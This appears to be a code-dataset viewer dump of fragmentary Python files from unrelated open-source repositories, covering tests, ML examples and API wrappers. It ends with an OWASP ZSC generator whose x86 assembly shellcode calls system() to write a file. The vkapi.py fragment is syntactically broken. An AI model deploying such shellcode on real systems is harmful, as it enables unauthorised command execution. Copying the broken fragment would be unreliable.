# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file na... |
kuba1/qtcreator | tests/system/suite_general/tst_build_speedcrunch/test.py | Python | lgpl-2.1 | 3,768 | 0.008493 | #############################################################################
##
## Copyright (C) 2015 The Qt Company Ltd.
## Contact: http://www.qt.io/licensing
##
## This file is part of Qt Creator.
##
## Commercial License Usage
## Licensees holding valid commercial Qt licenses may use this file in
## accordance wit... | on, The Qt Company gives you certain additional
## rights. These rights are described in The Qt Company LGPL Exception
## version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
##
#############################################################################
source("../../shared/qtcreator.py")
import re... | ildConfig = "<b>Build:</b> "
endOfBuildConfig = "<br/><b>Deploy:</b>"
toolTipText = str(fancyToolButton.toolTip)
beginIndex = toolTipText.find(beginOfBuildConfig) + len(beginOfBuildConfig)
endIndex = toolTipText.find(endOfBuildConfig)
return toolTipText[beginIndex:endIndex]
def main():
if not n... |
Pyangs/ShiPanE-Python-SDK | examples/joinquant/simple_strategy.py | Python | mit | 911 | 0.001473 | import shipane_sdk
# 初始化函数,设定要操作的股票、基准等等
def initialize(context):
# 定义一个全局变量, 保存要操作的股票
# 000001(股票:平安银行)
g.security = '000001.XSHE'
# 设定沪深300作为基准
set_benchmark('000300.XSHG')
def process_initialize(context):
# 创建 StrategyManager 对象
# 参数为配置文件中的 manager id
| g.__manager = shipane_sdk.JoinQuantStrategyManagerFactory(context).create('manager-1')
# 每个单位时间(如果按天回测,则每天调用一次,如果按分钟,则每分钟调用一次)调用一次
def handle_data(context, data):
# 保存 order 对象
order_ = order(g.security, 100)
# 实盘易依据 | 聚宽的 order 对象下单
g.__manager.execute(order_)
order_ = order(g.security, -100)
g.__manager.execute(order_)
# 撤单
g.__manager.cancel(order_)
|
javaos74/neutron | neutron/tests/unit/api/rpc/handlers/test_resources_rpc.py | Python | apache-2.0 | 8,869 | 0.000338 | # Copyright (c) 2015 Mellanox Technologies, Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agre... | elf).setUp()
self.is_valid_mock = mock.patch.object(
resources_rpc.resources, 'is_valid_resource_type').start()
|
def test_valid_type(self):
self.is_valid_mock.return_value = True
resources_rpc._validate_resource_type('foo')
def test_invalid_type(self):
self.is_valid_mock.return_value = False
with testtools.ExpectedException(
resources_rpc.InvalidResourceTypeClass):
... |
c4goldsw/shogun | examples/undocumented/python_modular/kernel_anova_modular.py | Python | gpl-3.0 | 717 | 0.041841 | #!/usr/bin/env python
traindat = '../data/fm_train_real.dat'
testdat = '../data/fm_test_real.dat'
parameter_list = [[traindat,testdat,2,10], [traindat,testdat,5,10]]
def kernel_anova_modular (train_fname=traindat,test_fname=testdat,cardinality=2, size_cache=10):
| from modshogun import ANOVAKernel,RealFeatures,CSVFile
feats_train=RealFeatures(CSVFile(train_fname))
feats_test=RealFeatures(CSVFile(test_fname))
kernel=ANOVAKe | rnel(feats_train, feats_train, cardinality, size_cache)
km_train=kernel.get_kernel_matrix()
kernel.init(feats_train, feats_test)
km_test=kernel.get_kernel_matrix()
return km_train, km_test, kernel
if __name__=='__main__':
print('ANOVA')
kernel_anova_modular(*parameter_list[0])
|
vansjyo/Hacktoberfest-2k17 | DhvanilP/sieve_of_erastothenes.py | Python | mit | 457 | 0 | from math import sqrt
def main():
n = int(input("Enter n : "))
boolArr = [True for i in range(n + 1)]
boolArr[0] = boolA | rr[1] = False
for i in range(2, int(sqrt(n) + 1)):
if boolArr[i] is True:
for j in range(i * i, n + 1, i):
# print(boolArr)
boolArr[j] = False
for i in range(2, n + 1):
if boolArr[i] is True:
print(i)
if __name__ == '__main__':
ma | in()
|
baidu/Paddle | python/paddle/fluid/tests/unittests/test_fake_quantize_op.py | Python | apache-2.0 | 5,508 | 0.000182 | # Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | }
accum = np.zeros(1).astype("float32")
accum[0] = 1
state = np.zeros(1).astype("float32")
state[0] = 1
scale = np.zeros(1).astype("float32")
scale[0] = 0.001
self.inputs = {
'X': np.random.random((8, 16, 7, 7)).astype("float32"),
'InS... | astype("float32")
out_scale = np.zeros(1).astype("float32")
out_accum[0] = self.attrs['moving_rate'] * accum[0] + np.max(
np.abs(self.inputs['X'])).astype("float32")
out_state[0] = self.attrs['moving_rate'] * state[0] + 1
out_scale = out_accum / out_state
self.outputs... |
enep/vkbot | vkbot/vkapi.py | Python | gpl-3.0 | 1,581 | 0.033333 | # vkapi.py
#
# Copyright 2016 Igor Unixoid Kolonchenko <enepunixoid@gmail.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) ... | the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
#
#
import requests
import sys
class vkapi(object):
redirect_url = ''
scope = 0 '''Разрешение прав доступа'''
access_token = ''
client_id =
"""
https://oauth.vk.com/authorize?
client_id=1&display=pag... | &state=123456
"""
def __init__(self,_ci,_ru,_scope):
self.redirect_url == _ru
self.scope = _scope
self.client_id = _ci
def auth(login,passwd):
url = "https://oauth.vk.com/authorize"
params["client_id"] = self.client_id
params["display"] = "mobile"
params["redirecct_url"] = self.redirect_url
para... |
mats116/ElasticBigQuery | boilerplate/models.py | Python | lgpl-3.0 | 5,145 | 0.003304 | from webapp2_extras.appengine.auth.models import User
from google.appengine.ext import ndb
class User(User):
"""
Universal user model. Can be used with App Engine's default users API,
own auth or third party authentication methods (OpenID, OAuth etc).
based on https://gist.github.com/kylefinley
""... |
def validate_resend_token(cls, user_id, token):
return cls.validate_token(user_id, 'resend-activation-mail', token)
@classmethod
def delete_resend_token(cls, user_id, token):
cls.token_model.get_key(user_id, 'resend-activation-mail', token).delete()
def get_social_providers_names(self... | lf.key)
result = []
# import logging
for social_user_object in social_user_objects:
# logging.error(social_user_object.extra_data['screen_name'])
result.append(social_user_object.provider)
return result
def get_social_providers_info(self):
providers = s... |
sysadminmatmoz/odoo-clearcorp | TODO-8.0/cash_flow_report/__init__.py | Python | agpl-3.0 | 1,165 | 0.000858 | # -*- coding: utf-8 -*-
############################ | ##################################################
#
# OpenERP, Open Source Management Solution
# Addons modules by CLEARCORP S.A.
# Copyright (C) 2009-TODAY CLEARCORP S.A. (<http://clearcorp.co.cr>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU... | # This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero Ge... |
Emigna/05AB1E | lib/constants.py | Python | mit | 146,313 | 0.000055 | import datetime
import math
class MethodAttribute:
"""
A method attribute is an attribute with the method and
its corresponding arity attached as parameters. It simply acts
as a tuple for easy access
"""
def __init__(self, method, arity):
self.method = method
self.arity = arit... | aZYXWVUTSRQPONMLKJIHGFEDCBA9876543210",
arity=0
),
"žM": MethodAttribute(
lambda: "aeiou",
arity=0
| ),
"žN": MethodAttribute(
lambda: "bcdfghjklmnpqrstvwxyz",
arity=0
),
"žO": MethodAttribute(
lambda: "aeiouy",
arity=0
),
"žP": MethodAttribute(
lambda: "bcdfghjklmnpqrstvwxz",
arity=0
),
"žQ": MethodAttribute(
lambda: " !\"#$%&'()*+,-.... |
Ali-Razmjoo/OWASP-ZSC | lib/generator/windows_x86/create_file.py | Python | gpl-3.0 | 1,892 | 0.000529 | #!/usr/bin/env python
'''
OWASP ZSC
https://www.owasp.org/index.php/OWASP_ZSC_Tool_Project
https://github.com/zscproject/OWASP-ZSC
http://api.z3r0d4y.com/
https://groups.google.com/d/forum/owasp-zsc [ owasp-zsc[at]googlegroups[dot]com ]
'''
from core import stack
def create_file(create_command):
return '''
xor ... | x6c6c,%cx
push %ecx
push $0x642e7472
push $0x6376736d
push %esp
call *%eax
xor %edi,%edi
mov %eax,%edi
xor %edx,%edx
push %edx
mov $0x6d65,%dx
push %edx
push $0x74737973
mov %esp,%ecx
push %ecx
push %edi
xor %edx,%edx
mov %esi,%edx
call *%edx
xor %ecx,%ecx
{0}
push %esp
c... | esi
xor %ecx,%ecx
push %ecx
call *%eax
'''.format(create_command)
def run(data):
file_to_create = data[0]
file_content = data[1]
return create_file(stack.generate("echo " + file_content + ">" +
file_to_create, "%ecx", "string"))
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.